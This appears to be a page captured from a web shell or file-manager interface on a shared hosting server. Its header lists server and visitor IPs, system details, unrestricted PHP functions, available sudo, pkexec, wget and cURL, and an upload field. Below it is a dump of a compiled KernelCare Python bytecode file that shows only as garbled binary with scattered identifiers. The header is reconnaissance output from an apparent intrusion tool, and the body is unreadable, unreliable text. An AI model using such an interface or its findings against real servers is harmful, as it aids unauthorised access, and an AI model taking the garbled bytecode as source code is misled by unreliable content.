| Server IP : 162.241.219.206 / Your IP : 216.73.216.195 Web Server : Apache System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64 User : signavd5 ( 2863) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/libexec/kcare/python/kcarectl/__pycache__/ |
Upload File : |
a
��;j � @ s� d dl Z d dlZd dlZd dlZddlmZmZmZmZ ddl m
Z
dZddd�Zdd d
�Zdd� Zd
d� Zdd� Zdd� Zdd� Zdd� ZdS )� N� )�config� constants� log_utils�utils)�json_loads_nstri, �.kcarestatusc C s$ t j�tj| �}t�|t�� � d S )N)�os�path�joinr �PATCH_CACHEr �atomic_write�
timestamp_str)�filename�status_filepath� r �2/usr/libexec/kcare/python/kcarectl/update_utils.py�touch_status_gap_file s r c C s� t j�tj| �}t j�|�r�t|d��`}z<t|�� �}t|�t j
t t�� krbW W d � dS W n t
yv Y n0 W d � n1 s�0 Y dS )N�rFT)r r
r r r �isfile�open�int�readr �STATUS_CHANGE_GAP�STATUS_CHANGE_GAP_DELAY�time� Exception)r r �sfile� timestampr r r �status_gap_passed s $r c C s | dvrt d�| ���d S )N)�kernel�libcarez$Unknown update status component: {0})�
ValueError�format�� componentr r r �_check_component% s r&